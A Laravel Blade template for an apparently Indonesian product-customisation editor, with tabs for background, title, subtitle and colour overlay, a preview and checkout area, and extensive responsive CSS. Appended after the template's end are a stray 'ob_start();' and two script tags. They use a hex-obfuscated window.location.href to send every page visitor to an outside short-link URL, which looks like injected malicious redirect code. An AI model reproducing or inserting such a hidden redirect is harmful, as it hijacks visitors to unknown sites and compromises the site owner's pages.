@extends('layouts.desktop')

@section('background')
    <div class="position-relative w-100" style="height: 20px;">
        <div class="col-md-12 text-center ps-5">

        </div>
        {{-- <img src="{{ asset('assets/customshow.png') }}" class="position-absolute" style="top: 25px; left: 10px; width: 220px; z-index: 2;">
        <img src="{{ asset('assets/who-you-are.png') }}" class="position-absolute" style="top: 115px; left: 136px; width: 238px; z-index: 2;">
        <img src="{{ asset('assets/petir-biru.png') }}" class="position-absolute" style="top: 141px; left: 50px; width: 35px; z-index: 3;">
        <img src="{{ asset('assets/petir-hijau.png') }}" class="position-absolute" style="top: 21px; right: 39px; width: 52px; z-index: 3;"> --}}
    </div>
@endsection

@section('content')
    <div class="container-fluid py-4">
        <div class="row gx-4">
            {{-- Sidebar + Tab Content --}}
            <div class="col-md-3 d-flex flex-column align-items-center">
                <div class="position-relative w-100" style="height: 75px;">
                    {{-- SPACER --}}
                </div>

                <div class="d-flex flex-row align-items-start gap-3">
                    {{-- Sidebar Tabs --}}
                    <div class="editor-tab-card">
                        <button id="btnTabBackground" class="editor-tab-btn active" data-tab="background">
                            <div class="icon-circle">
                                <img src="{{ asset('assets/background.png') }}" alt="background" class="icon-img">
                            </div>
                            <div class="label">Background</div>
                        </button>

                        <button id="btnTabTitle" class="editor-tab-btn" data-tab="title">
                            <div class="icon-circle">
                                <img src="{{ asset('assets/new-asset/ic-text.png') }}" alt="Title" class="icon-img">
                            </div>
                            <div class="label">Title</div>
                        </button>

                        <button id="btnTabSubtitle" class="editor-tab-btn" data-tab="subtitle">
                            <div class="icon-circle">
                                <img src="{{ asset('assets/new-asset/ic-text.png') }}" alt="Subtitle" class="icon-img">
                            </div>
                            <div class="label">Subtitle</div>
                        </button>

                        <button id="btnTabOverlay" class="editor-tab-btn" data-tab="overlay">
                            <div class="icon-circle">
                                <img src="{{ asset('assets/bucket.png') }}" alt="Overlay" class="icon-img">
                            </div>
                            <div class="label">Overlay</div>
                        </button>
                    </div>



                    {{-- Tab Content (tampil di sebelah kanan tab) --}}
                    <div class="tab-content-desktop-wrapper">
                        <div id="tab-background" class="tab-pane-desktop">
                            @include('partials.editor-tab-background', ['templates' => $templates])
                        </div>
                        <div id="tab-title" class="tab-pane-desktop custom-hide-tab">
                            @include('partials.editor-tab-title')
                        </div>
                        <div id="tab-subtitle" class="tab-pane-desktop custom-hide-tab">
                            @include('partials.editor-tab-subtitle')
                        </div>
                        <div id="tab-overlay" class="tab-pane-desktop custom-hide-tab">
                            @include('partials.editor-tab-overlay')
                        </div>

                    </div>
                </div>
            </div>





            {{-- Editor Preview Area --}}
            <div class="col-md-9 d-flex flex-column justify-content-center align-items-center">
                <div class="text-center mb-3">
                    <img src="{{ asset('assets/new-asset/title-design.png') }}" alt="Custom Show"
                        style="width:35%; height:auto;">
                </div>

                {{-- Card background HANYA untuk preview --}}
                <div class="position-relative mb-3 mx-auto">
                    <div class="preview-card-bg">
                        {{-- Preview Box --}}
                        <div class="editor-preview-box" id="previewAreaMobile">
                            <div id="previewLabelLayer" class="position-absolute"></div>
                            <div id="previewOverlayLayer" class="overlay-layer"></div>
                            {{-- <div id="previewHeading" class="text-layer"></div> --}}
                            {{-- <div id="previewSubtitle" class="text-layer"></div> --}}
                            <div id="previewHeading" class="text-wrapper">
                                <div id="previewHeadingStroke" class="text-stroke"></div>
                                <div id="previewHeadingFill" class="text-fill"></div>
                            </div>

                            <div id="previewSubtitle" class="text-wrapper">
                                <div id="previewSubtitleStroke" class="text-stroke"></div>
                                <div id="previewSubtitleFill" class="text-fill"></div>
                            </div>


                        </div>
                    </div>
                </div>

                {{-- Footer Action (DI LUAR background card) --}}
                <div class="d-flex justify-content-center align-items-center gap-3 mt-2">
                    <input type="hidden" id="qty" value="1">
                    {{-- <button id="checkoutButton" disabled style="all: unset; cursor: pointer; display: inline-block;"> --}}
                    <div id="checkoutWrapper" style="display: inline-block;">

                        <button id="checkoutButton" class="btn p-0 border-0 bg-transparent" style="outline:none;" disabled>
                            <img src="{{ asset('assets/new-asset/button-co.png') }}" alt="checkout"
                                style="max-width: 180px; height: auto; display: block;">
                        </button>
                    </div>

                </div>

                {{-- Final Capture Area (invisible) --}}
                <div id="finalCaptureArea" style="position: fixed; top: -9999px; left: -9999px;">
                    <div id="canvasTemplateWrapper"
                        style="width: 100%; height: 100%; position: relative; background-size: cover; background-position: center;">
                        <div id="captureLabelLayer" class="position-absolute"></div>
                        <div id="captureOverlayLayer" class="overlay-layer"></div>
                        {{-- <div id="captureHeading" class="text-layer"></div>
                        <div id="captureSubtitle" class="text-layer"></div> --}}
                        <div id="captureHeading" class="text-wrapper">
                            <div id="captureHeadingStroke" class="text-stroke"></div>
                            <div id="captureHeadingFill" class="text-fill"></div>
                        </div>
                        <div id="captureSubtitle" class="text-wrapper">
                            <div id="captureSubtitleStroke" class="text-stroke"></div>
                            <div id="captureSubtitleFill" class="text-fill"></div>
                        </div>


                    </div>
                </div>
            </div>


            <div class="col-md-1 d-flex flex-column align-items-center">
                <div class="editor-action-card">
                    <button id="download-eye-desktop" class="editor-action-btn d-none" onclick="generateMockupPreview()"
                        disabled>
                        <div class="action-icon">
                            <img src="{{ asset('assets/eye.png') }}" alt="Preview" class="action-img">
                        </div>
                        <div class="action-label">Preview</div>
                    </button>


                    <!-- Tombol Overlay (tetap) -->
                    <button class="editor-action-btn" id="btnOverlayToggle">
                        <div class="action-icon d-none">
                            <img src="{{ asset('assets/bucket.png') }}" class="action-img" alt="Overlay">
                        </div>
                        <div class="action-label d-none">Color Overlay</div>
                    </button>

                    <!-- Submenu Overlay Desktop (disamakan dengan mobile) -->
                    <div id="overlayControls" class="overlay-submenu card p-3 shadow-sm rounded-4 d-none"
                        style="width: 250px;">
                        <div class="d-flex justify-content-between align-items-center mb-3">
                            <label class="fw-semibold mb-0">Atur Overlay Warna:</label>
                            <button id="closeOverlayControls" class="btn btn-sm btn-light rounded-circle"
                                style="width: 32px; height: 32px;">✖</button>
                        </div>

                        <div class="d-flex justify-content-center gap-2 mb-3 flex-wrap">
                            <button class="color-circle-lg" data-color="none"
                                style="background: transparent; border: 1px solid #ccc;"></button>
                            <button class="color-circle-lg" data-color="#ff69b4" style="background: #ff69b4;"></button>
                            <button class="color-circle-lg" data-color="#00ff66" style="background: #00ff66;"></button>
                            <button class="color-circle-lg" data-color="#66ccff" style="background: #66ccff;"></button>
                            <button id="openColorPicker" class="btn btn-sm btn-light px-2">🎨</button>
                        </div>

                        <!-- Ganti class d-none -->
                        <input type="color" id="customOverlayColor" class="form-control form-control-color"
                            value="#000000" title="Choose color"
                            style="position: absolute; opacity: 0; pointer-events: none;">

                        <label for="floatingOverlayOpacity" class="form-label small">Opacity</label>
                        <input type="range" id="floatingOverlayOpacity" class="form-range mb-3" min="0"
                            max="1" step="0.01" value="0.3">
                    </div>


                </div>


                {{-- Tab Content --}}
                {{-- <div class="col-md-2">
                <div id="tab-background" class="tab-pane-desktop">
                    @include('partials.editor-tab-background', ['templates' => $templates])
                </div>
                <div id="tab-title" class="tab-pane-desktop d-none">
                    @include('partials.editor-tab-title')
                </div>
                <div id="tab-subtitle" class="tab-pane-desktop d-none">
                    @include('partials.editor-tab-subtitle')
                </div>
            </div> --}}

            </div>


        </div>

        <input type="hidden" id="uuid" value="{{ session('uuid') }}">
        <!-- Modal Preview Mockup -->

        <div class="modal fade" id="mockupPreviewModal" tabindex="-1" aria-labelledby="mockupLabel"
            aria-hidden="true">
            <div class="modal-dialog modal-dialog-centered modal-lg">
                <div class="modal-content">
                    <div class="modal-header">
                        <h5 class="modal-title">Mockup Preview</h5>
                        <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                    </div>
                    <div class="modal-body">
                        <img id="mockupPreviewImage" src="" alt="Mockup Preview" class="img-fluid">
                    </div>
                </div>
            </div>
        </div>




        <div id="loadingOverlay"
            style="display:none; position:fixed; top:0; left:0; width:100vw; height:100vh; background-color: rgba(0,0,0,0.5); z-index:9999; justify-content:center; align-items:center; flex-direction: column;">

            <div class="spinner-border text-light" role="status" style="width: 3rem; height: 3rem;">
                <span class="visually-hidden">Loading...</span>
            </div>
            <div class="mt-3 text-white">Sedang mengirim...</div>
        </div>
    @endsection

    @push('styles')
        <style>
            .bg-pattern {
                background: url('{{ asset('assets/new-asset/bg-desktop.webp') }}') no-repeat center top;
                background-size: cover;
            }

            .tab-desktop-btn {
                width: 100%;
                background: white;
                border: 2px solid #00A6FF;
                color: #00A6FF;
                border-radius: 12px;
                padding: 12px 8px;
                text-align: center;
                font-size: 16px;
                transition: all 0.2s ease-in-out;
            }

            .tab-desktop-btn.active {
                background-color: #00A6FF;
                color: white;
            }

            .tab-pane-desktop {
                background: white;
                border-radius: 16px;
                padding: 16px;
                box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
            }

            .editor-preview-box {
                width: 640px;
                height: 400px;
                aspect-ratio: 16 / 10;
                position: relative;
                background: #f0f0f0;
                border-radius: 16px;
                overflow: hidden;
            }

            .overlay-layer {
                position: absolute;
                top: 0;
                left: 0;
                width: 100%;
                height: 100%;
                pointer-events: none;
            }

            .text-layer {
                position: absolute;
                width: 100%;
                text-align: center;
                pointer-events: none;
            }

            #loadingOverlay {
                position: fixed;
                top: 0;
                left: 0;
                width: 100vw;
                height: 100vh;
                background: rgba(0, 0, 0, 0.5);
                display: flex;
                flex-direction: column;
                justify-content: center;
                align-items: center;
                z-index: 9999;
            }

            .editor-tab-card {
                width: 100px;
                height: 100%;
                background: #FFFFFF;
                border-radius: 42px;
                box-shadow: 0px 4px 8.1px rgba(0, 0, 0, 0.15);
                display: flex;
                flex-direction: column;
                align-items: center;
                padding-top: 32px;
                padding-bottom: 32px;
                gap: 28px;
            }

            .editor-tab-btn {
                display: flex;
                flex-direction: column;
                align-items: center;
                border: none;
                background: none;
                cursor: pointer;
                gap: 8px;
            }

            .editor-tab-btn .label {
                font-size: 14px;
                color: #000;
                /* default hitam */
                font-weight: 500;
            }

            /* lingkaran ikon */
            .icon-circle {
                width: 60px;
                height: 60px;
                border-radius: 50%;
                background: #fff;
                border: 2px solid #000;
                display: flex;
                justify-content: center;
                align-items: center;
            }

            /* ikon img */
            .icon-img {
                width: 28px;
                height: 28px;
                object-fit: contain;
                display: block;
            }

            /* hanya untuk tombol background */
            #btnTabBackground .icon-circle {
                overflow: hidden;
                /* biar lingkaran jadi masker */
            }


            /* state aktif */
            .editor-tab-btn.active .icon-circle {
                background-color: #00A6FF;
                border: none;
            }

            .editor-tab-btn.active .label {
                color: #00A6FF;
            }

            .editor-tab-btn.active .icon-img {
                filter: brightness(0) invert(1);
                /* bikin icon putih */
            }


            .text-blue {
                color: #00A6FF;
            }

            .editor-action-card {
                background: transparent;
                display: flex;
                flex-direction: column;
                align-items: center;
                gap: 28px;
                padding-top: 40px;
            }

            .editor-action-btn {
                background: none;
                border: none;
                cursor: pointer;
                text-align: center;
                display: flex;
                flex-direction: column;
                align-items: center;
                gap: 6px;
            }

            .action-icon {
                background: white;
                width: 58px;
                height: 58px;
                border-radius: 18px;
                box-shadow: 0px 4px 8.1px rgba(0, 0, 0, 0.15);
                display: flex;
                justify-content: center;
                align-items: center;
            }

            .action-img {
                width: 26px;
                height: 26px;
                object-fit: contain;
            }

            .action-label {
                font-size: 13px;
                font-weight: 500;
                color: #000;
                line-height: 1.1;
            }

            .bg-thumb-wrapper {
                width: 100%;
                max-width: 100px;
                border: 2px solid transparent;
                border-radius: 12px;
                overflow: hidden;
                cursor: pointer;
                transition: border 0.2s ease-in-out;
            }

            .bg-thumb-wrapper:hover {
                border-color: #00A6FF;
            }

            .bg-thumb {
                width: 100%;
                height: auto;
                object-fit: cover;
                display: block;
                border-radius: 8px;
            }

            #previewAreaMobile {
                /* width: 100%; */
                aspect-ratio: 16 / 10;
                background-size: cover;
                background-position: center;
                position: relative;
                margin-bottom: 20px;
            }

            #previewLabelLayer {
                position: absolute !important;
                width: 100%;
                aspect-ratio: 16 / 10;
                background-size: cover;
                background-position: center;
                background-repeat: no-repeat;
                z-index: 5;
            }

            #previewHeading,
            #previewSubtitle,
            #captureHeading,
            #captureSubtitle {
                /* font-family: 'ColumbiaSerial', sans-serif; */
                font-family: 'Poppins', sans-serif;
                font-weight: 600;
                /* -webkit-text-stroke-width: 2px;
                                        -webkit-text-stroke-color: black; */
                /* default, akan diubah JS */
            }

            #previewHeading,
            #previewSubtitle {
                position: absolute;
                width: 100%;
                text-align: center;
                color: white;
                /* text-shadow: 1px 1px 2px black; */
            }

            #previewHeading {
                top: 50%;
                font-size: 25px;
            }

            #previewSubtitle {
                top: 62%;
                font-size: 15px;
            }

            /* #previewHeadingStroke,
                            #previewHeadingFill {
                                position: absolute;
                                top: 50%;
                                left: 0;
                                width: 100%;
                                text-align: center;
                                font-size: 25px;
                            }

                            #previewSubtitleStroke,
                            #previewSubtitleFill {
                                position: absolute;
                                top: 62%;
                                left: 0;
                                width: 100%;
                                text-align: center;
                                font-size: 15px;

                            } */


            .text-wrapper {
                position: absolute;
                width: 100%;
                text-align: center;
                pointer-events: none;
            }

            .text-stroke,
            .text-fill {
                position: absolute;
                top: 0;
                left: 0;
                width: 100%;
                white-space: pre-wrap;
                font-family: inherit;
                font-weight: inherit;
                font-size: inherit;
                pointer-events: none;
            }

            .text-stroke {
                color: transparent;
                -webkit-text-stroke-width: 5px;
                -webkit-text-stroke-color: black;
                z-index: 1;
            }

            .text-fill {
                color: white;
                z-index: 2;
            }

            /* #finalCaptureArea {
                                                                                                                                                                                                                            position: fixed;
                                                                                                                                                                                                                            top: -10000px;
                                                                                                                                                                                                                            left: -10000px;
                                                                                                                                                                                                                            width: 800px;
                                                                                                                                                                                                                            height: 500px;
                                                                                                                                                                                                                            font-family: 'ColumbiaSerial', sans-serif;
                                                                                                                                                                                                                        } */
            #finalCaptureArea {
                position: fixed;
                top: -10000px;
                left: -10000px;
                /* position: relative;
                                                                                                                                                                                                                            top: auto;
                                                                                                                                                                                                                            left: auto; */
                margin-top: 20px;
                width: 100%;
                aspect-ratio: 16 / 10;
                /* biar sama dengan preview */
                /* font-family: 'ColumbiaSerial', sans-serif; */
                font-family: 'Poppins', sans-serif;
                font-weight: 600;
                background-size: cover;
                background-position: center;
                /* optional buat debugging */
            }

            #captureLabelLayer {
                position: absolute !important;
                width: 100%;
                aspect-ratio: 16 / 10;
                background-size: cover;
                background-position: center;
                background-repeat: no-repeat;
                z-index: 5;
            }

            #canvasTemplateWrapper {
                width: 100%;
                height: 100%;
                background-size: cover;
                background-position: center;
                position: relative;
            }

            #captureHeading,
            #captureSubtitle {
                position: absolute;
                width: 100%;
                text-align: center;
                color: white;
                text-shadow: 1px 1px 2px black;
            }

            #captureHeading {
                top: 50%;
                /* left: 43%; */
                /* transform: translate(-50%, -50%); */
                font-size: 25px;
            }

            #captureSubtitle {
                top: 62%;
                /* left: 43%; */
                /* transform: translate(-50%, -50%); */
                font-size: 15;
            }

            .bg-thumb-wrapper {
                border: 2px solid transparent;
                border-radius: 10px;
                overflow: hidden;
                width: 100px;
                height: 100px;
            }

            .bg-thumb-wrapper:hover {
                border-color: #00aaff;
            }

            .bg-thumb {
                width: 100%;
                height: 100%;
                object-fit: cover;
            }

            /* .tab-content-desktop-wrapper {
                                                                                        min-width: 150px;
                                                                                        max-width: 220px;
                                                                                        height: 400px;

                                                                                        overflow-y: auto;
                                                                                        transition: height 0.2s ease-in-out;
                                                                                    } */

            .tab-content-desktop-wrapper {
                min-width: 150px;
                max-width: 320px;
                /* max-width: 220px; */
                height: 400px;
                position: relative;
                flex-shrink: 0;
                /* tinggi tetap */
            }

            /* INI KUNCI: clip isi ke radius card */
            .tab-pane-desktop {
                background: #fff;
                border-radius: 16px;
                box-shadow: 0 0 10px rgba(0, 0, 0, .1);
                height: 100%;
                padding: 16px;
                overflow: hidden;
                /* clip sudut */
                display: flex;
                /* biar child bisa flex */
                flex-direction: column;
            }

            #desktopTemplateCategoryWrapper {
                flex: 1 1 auto;
                /* pakai sisa tinggi */
                min-height: 0;
                /* wajib supaya bisa shrink & scroll */
                overflow-y: auto;
                /* aktifkan scroll */
                padding-right: 6px;
            }

            /* HASIL TEMPLATE: ambil sisa tinggi & scroll */
            #desktopTemplateWrapper {
                flex: 1 1 auto;
                /* ambil sisa tinggi */
                min-height: 0;
                /* PENTING agar flex child boleh mengecil dan scroll */
                overflow-y: auto;
            }

            .tab-pane-desktop {
                min-height: 100%;
                height: 100%;
            }

            .custom-hide-tab {
                visibility: hidden;
                opacity: 0;
                pointer-events: none;
                position: absolute;
                top: 0;
                left: 0;
                width: 100%;
            }

            /* Default button di dalam card */
            .editor-tab-btn .icon-circle {
                width: 60px;
                height: 60px;
                border-radius: 50%;
                background-color: #fff;
                border: 2px solid #000000;
                display: flex;
                justify-content: center;
                align-items: center;
            }

            .editor-tab-btn .icon-img {
                font-size: 22px;
                color: #000000;
            }

            .editor-tab-btn .label {
                font-size: 14px;
                color: #000000;
                font-weight: 500;
            }

            /* Active button */
            .editor-tab-btn.active .icon-circle {
                background-color: #00A6FF;
                border: none;
            }

            .editor-tab-btn.active .icon-img {
                color: #ffffff;
            }

            .editor-tab-btn.active .label {
                color: #00A6FF;
            }

            .overlay-submenu {
                margin-top: 10px;
                background: white;
                border-radius: 12px;
                padding: 12px;
                width: 100px;
                box-shadow: 0px 4px 8px rgba(0, 0, 0, 0.1);
                display: flex;
                flex-direction: column;
                align-items: center;
                gap: 10px;
                transition: all 0.2s ease;
            }

            .color-circle-lg {
                width: 32px;
                height: 32px;
                border-radius: 50%;
                border: none;
                cursor: pointer;
            }

            .editor-action-btn:disabled {
                opacity: 0.5;
                pointer-events: none;
                cursor: not-allowed;
            }

            #mockupPreviewModal .modal-body {
                /* max-height: 500px; */
                overflow-y: auto;
                text-align: center;
            }

            #mockupPreviewImage {
                max-height: 500px;
                height: auto;
                width: auto;
            }

            /* INTROJS */
            /* --- Intro.js tune --- */
            .introjs-tooltip {
                font-size: 14px;
                border-radius: 12px;
            }

            .introjs-button {
                font-size: 12px !important;
                padding: 6px 12px !important;
                border-radius: 8px !important;
            }

            /* "Lewati" (skip) biar gak kegedean */
            .introjs-skipbutton {
                font-size: 12px !important;
                padding: 2px 8px !important;
                line-height: 1.2 !important;
                opacity: .85;
            }

            /* Posisikan skip rapi di pojok tooltip */
            .introjs-tooltip .introjs-skipbutton {
                position: absolute;
                top: 10px;
                right: 12px;
            }

            /* Biar layer di atas elemen lain tapi gak nutup modal bootstrap */
            .introjs-overlay,
            .introjs-helperLayer,
            .introjs-tooltipReferenceLayer {
                z-index: 1065 !important;
                /* > offcanvas (1050), < modal (1070) */
            }

            /* Card background yang hanya membalut preview */
            .preview-card-bg {
                background: url('/assets/new-asset/box-gif-container.png') no-repeat center top;
                background-size: 100% 100%;
                /* biar stretch penuh */
                padding: 20px 30px;
                /* tambah padding = kartu makin besar */
                display: inline-block;
                border-radius: 24px;
                /* opsional, samain sama frame bg */
            }


            /* Pastikan kotak preview ukuran tetap */
            .editor-preview-box {
                width: 640px;
                height: 400px;
                border-radius: 16px;
                overflow: hidden;
            }

            /* Panel kanan: grid rapi + anti gepeng */
            /* ====== DI DALAM TAB BACKGROUND: 2 KOLOM ====== */
            .bg-two-col-wrapper {
                display: flex;
                flex: 1 1 auto;
                min-height: 0;
                /* penting buat scroll anak */
                gap: 12px;
            }

            /* kolom kiri (Kategori) dan kolom kanan (Pilihan) */
            .bg-col-block {
                background: #fff;
                border: 1px solid #ddd;
                border-radius: 16px;
                /* box-shadow: 0 4px 8px rgba(0, 0, 0, .05); */

                width: 125px;
                /* FIXED, ini yang bikin total muat ke 320px */
                flex-shrink: 0;

                display: flex;
                flex-direction: column;
                min-height: 0;
                /* biar scroll jalan */
            }

            /* header kecil di atas tiap kolom */
            .bg-col-header {
                font-size: 14px;
                font-weight: 600;
                text-align: center;
                padding: 8px 8px 4px 8px;
                flex-shrink: 0;
                color: #1e1e1e;
            }

            /* area scroll isi kategori / isi template */
            .bg-col-scroll {
                flex: 1 1 auto;
                min-height: 0;
                overflow-y: auto;
                padding: 8px;
                scrollbar-width: thin;
            }

            /* =====================
                                               KIRI: KATEGORI
                                               ===================== */

            .cat-btn {
                border: 1px solid #CFE8FF;
                /* tipis, soft */
                border-radius: 12px;
                background: #fff;
                width: 100%;
                text-align: center;
                padding: 8px 6px;
                cursor: pointer;
                transition: all .15s ease;
                box-shadow: 0 2px 4px rgba(0, 0, 0, .05);
            }

            .cat-btn+.cat-btn {
                margin-top: 8px;
            }

            .cat-btn img {
                width: 60px;
                height: 60px;
                border-radius: 50%;
                object-fit: cover;
                display: block;
                margin: 0 auto 6px auto;
                border: 0;
                /* no border di gambar */
            }

            .cat-btn-label {
                font-size: 12px;
                font-weight: 500;
                color: #0070c9;
                line-height: 1.2;
                word-break: break-word;
            }

            /* kategori AKTIF */
            .cat-btn.active {
                border: 2px solid #00A6FF;
                box-shadow: 0 0 0 2px rgba(0, 166, 255, 0.15);
                /* glow biru lembut */
                background: #EAF7FF;
            }

            .cat-btn.active .cat-btn-label {
                color: #00A6FF;
            }

            /* =====================
                                               KANAN: PILIHAN TEMPLATE
                                               ===================== */

            .tpl-grid {
                display: grid;
                grid-template-columns: 1fr;
                /* 1 kolom besar seperti desain kamu */
                gap: 12px;
            }

            .tpl-tile {
                background: #fff;
                border-radius: 12px;
                border: 2px solid #CFE8FF;
                /* default tipis, biru muda */
                padding: 8px;
                cursor: pointer;
                text-align: center;
                outline: none;
                transition: all .15s ease;
                box-shadow: 0 2px 4px rgba(0, 0, 0, .05);
            }

            /* template AKTIF */
            .tpl-tile.active {
                border: 2px solid #00A6FF;
                box-shadow: 0 0 0 2px rgba(0, 166, 255, 0.15);
                background: #EAF7FF;
            }

            /* GAMBAR DALAM TILE */
            .tpl-thumb {
                width: 100%;
                aspect-ratio: 1 / 1;
                /* ⬅️ kotak 1:1 */
                object-fit: cover;
                /* ⬅️ fill penuh */
                border-radius: 10px;
                display: block;
                /* no label di bawah, jadi cuma gambar */
            }

            /* =====================
                                               WRAPPER SCROLL
                                               ===================== */

            .bg-col-scroll {
                flex: 1 1 auto;
                min-height: 0;
                overflow-y: auto;
                padding: 8px;
                scrollbar-width: thin;
            }

            /* ipad  */
            /* =========================================
                   iPad / Tablet (768 - 1199) : NO CLIP + label rapih
                   ========================================= */
            @media (min-width: 768px) and (max-width: 1199.98px) {

                /* kasih ruang kiri biar sidebar gak keluar layar */
                .container-fluid.py-4 {
                    padding-left: 14px !important;
                    padding-right: 10px !important;
                }

                /* gutter jangan kegedean */
                .container-fluid.py-4>.row.gx-4 {
                    --bs-gutter-x: 12px;
                }

                /* BAGI ULANG WIDTH biar muat + kiri gak kepotong */
                .container-fluid.py-4>.row.gx-4>.col-md-3 {
                    flex: 0 0 36% !important;
                    max-width: 36% !important;
                    align-items: flex-start !important;
                    padding-left: 10px !important;
                    /* ini yang bikin “Pilih Template” gak kepotong */
                }

                .container-fluid.py-4>.row.gx-4>.col-md-9 {
                    flex: 0 0 56% !important;
                    max-width: 56% !important;
                }

                .container-fluid.py-4>.row.gx-4>.col-md-1 {
                    flex: 0 0 8% !important;
                    max-width: 8% !important;
                }

                /* Sidebar tab card lebih kecil + label gak kepotong */
                .editor-tab-card {
                    width: 86px !important;
                    padding-top: 18px !important;
                    padding-bottom: 18px !important;
                    gap: 16px !important;
                }

                .icon-circle {
                    width: 50px !important;
                    height: 50px !important;
                }

                .icon-img {
                    width: 24px !important;
                    height: 24px !important;
                }

                /* INI KUNCI: tulisan Background dll rapih */
                .editor-tab-btn .label {
                    font-size: 12px !important;
                    /* kecilin */
                    line-height: 1.1 !important;
                    text-align: center;
                    max-width: 80px;
                    white-space: nowrap;
                    /* jangan turun baris */
                    overflow: hidden;
                    /* kalau kepanjangan, jangan nyerobot */
                    text-overflow: ellipsis;
                    /* jadi "Backgro…" kalau sempit */
                }

                /* Card "Pilih Template" jangan kekecilan & jangan keluar */
                .tab-content-desktop-wrapper {
                    min-width: 0 !important;
                    max-width: 260px !important;
                    /* lebih lega supaya isi card gak kepotong */
                    width: 260px !important;
                    height: 360px !important;
                }

                /* Preview diperkecil biar total muat */
                .preview-card-bg {
                    padding: 10px 12px !important;
                }

                .editor-preview-box {
                    width: 460px !important;
                    height: 288px !important;
                }

                /* kecilin judul DESIGN biar gak makan space */
                .col-md-9 .text-center img {
                    width: 60% !important;
                }
            }

            /* ipad 2   */
            @media (min-width: 768px) and (max-width: 1199.98px) {

                /* geser sedikit isi kolom kiri biar gak nempel layar */
                .col-md-3 .d-flex.flex-row.align-items-start.gap-3 {
                    margin-left: 6px !important;
                }

                /* ✅ KUNCI: 2 kolom dalam "Pilih Template" jangan kepenuhan */
                .bg-col-block {
                    width: 112px !important;
                    /* tadinya 125px -> bikin overflow */
                }

                .bg-two-col-wrapper {
                    gap: 10px !important;
                    /* tadinya 12px */
                }

                .bg-col-header {
                    font-size: 12px !important;
                }

                /* kecilin sedikit thumbnail biar enak muat */
                .cat-btn img {
                    width: 54px !important;
                    height: 54px !important;
                }

                /* kalau masih mepet, kecilin wrapper 1 step biar stabil */
                .tab-content-desktop-wrapper {
                    width: 255px !important;
                    /* sebelumnya 260 */
                    max-width: 255px !important;
                }
            }

            /* =========================================
           iPad PORTRAIT (768-900): FORCE GRID (no overlap, tetap sebelahan)
           ========================================= */
            @media (min-width: 768px) and (max-width: 900px) {

                /* col action kanan dimatiin biar lega */
                .container-fluid.py-4>.row.gx-4>.col-md-1 {
                    display: none !important;
                }

                /* paksa row jadi GRID: kolom kiri fixed, kanan fleksibel */
                .container-fluid.py-4>.row.gx-4 {
                    display: grid !important;
                    grid-template-columns: 320px 1fr;
                    /* kiri 320px, kanan sisa */
                    column-gap: 16px;
                    align-items: start;
                }

                /* penting: hilangkan behavior flex bootstrap */
                .container-fluid.py-4>.row.gx-4::before,
                .container-fluid.py-4>.row.gx-4::after {
                    content: none !important;
                }

                /* tempatkan kolom kiri & kanan di grid */
                .container-fluid.py-4>.row.gx-4>.col-md-3 {
                    grid-column: 1;
                    width: auto !important;
                    max-width: none !important;
                    padding-left: 10px !important;
                    position: relative;
                    z-index: 2;
                }

                .container-fluid.py-4>.row.gx-4>.col-md-9 {
                    grid-column: 2;
                    width: auto !important;
                    max-width: none !important;
                    min-width: 0 !important;
                    /* biar kolom kanan boleh mengecil */
                    position: relative;
                    z-index: 1;
                }

                /* preview jangan maksa lebar fix yang bikin nabrak */
                .editor-preview-box {
                    width: 360px !important;
                    height: 225px !important;
                    max-width: 100%;
                }

                .preview-card-bg {
                    padding: 7px 9px !important;
                    max-width: 380px;
                    margin-left: 0;
                    /* jangan geser ke kiri */
                }

                /* panel kiri: pastikan isi gak overflow tapi juga gak bikin overlap */
                .tab-content-desktop-wrapper {
                    width: 220px !important;
                    max-width: 220px !important;
                    height: 340px !important;
                }

                .tab-pane-desktop {
                    padding: 10px !important;
                }

                .bg-col-block {
                    width: 92px !important;
                }

                .bg-two-col-wrapper {
                    gap: 6px !important;
                }

                /* label sidebar biar gak kepotong */
                .editor-tab-btn .label {
                    font-size: 11px !important;
                    white-space: nowrap;
                    overflow: hidden;
                    text-overflow: ellipsis;
                    max-width: 72px;
                }
            }

            /* =========================================================
       iPad 9 PORTRAIT REAL (Safari) - width: 768px
       Target: NO overlap + tetap sebelahan
       ========================================================= */
            @media (width: 768px) and (orientation: portrait) {

                /* matiin kolom action kanan biar lega */
                .container-fluid.py-4>.row.gx-4>.col-md-1 {
                    display: none !important;
                }

                /* paksa row jadi GRID 2 kolom (grid ga bisa overlap) */
                .container-fluid.py-4>.row.gx-4 {
                    display: grid !important;
                    grid-template-columns: 300px 1fr !important;
                    /* kiri lebih kecil dari 320 */
                    column-gap: 14px !important;
                    align-items: start !important;
                }

                /* tempatkan kolom kiri & kanan */
                .container-fluid.py-4>.row.gx-4>.col-md-3 {
                    grid-column: 1 !important;
                    width: auto !important;
                    max-width: none !important;
                    padding-left: 8px !important;
                }

                .container-fluid.py-4>.row.gx-4>.col-md-9 {
                    grid-column: 2 !important;
                    width: auto !important;
                    max-width: none !important;
                    min-width: 0 !important;
                    /* penting biar kolom kanan bisa mengecil */
                }

                /* panel kiri (Pilih Template) aman & rapih */
                .tab-content-desktop-wrapper {
                    width: 210px !important;
                    /* turun dikit supaya pasti muat */
                    max-width: 210px !important;
                    height: 340px !important;
                }

                .tab-pane-desktop {
                    padding: 10px !important;
                }

                .bg-col-block {
                    width: 88px !important;
                }

                /* 2 kolom di dalam card gak kepotong */
                .bg-two-col-wrapper {
                    gap: 6px !important;
                }

                /* === KUNCI: kecilkan PREVIEW FRAME supaya gak nginjek kiri === */
                .preview-card-bg {
                    padding: 6px 8px !important;
                    max-width: 360px !important;
                    /* batas frame kuning */
                }

                .editor-preview-box {
                    width: 340px !important;
                    /* turun dari 360/380 */
                    height: 213px !important;
                }

                /* rapihin title DESIGN dan checkout */
                .col-md-9 .text-center img {
                    width: 70% !important;
                }

                #checkoutWrapper img {
                    max-width: 190px !important;
                }
            }
        </style>
    @endpush

    @push('scripts')
        <script>
            window.templatesByCategory = @json($templates);
        </script>
        <script src="{{ asset('js/lab-editor-desktop.js') }}"></script>
    @endpush
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";</script>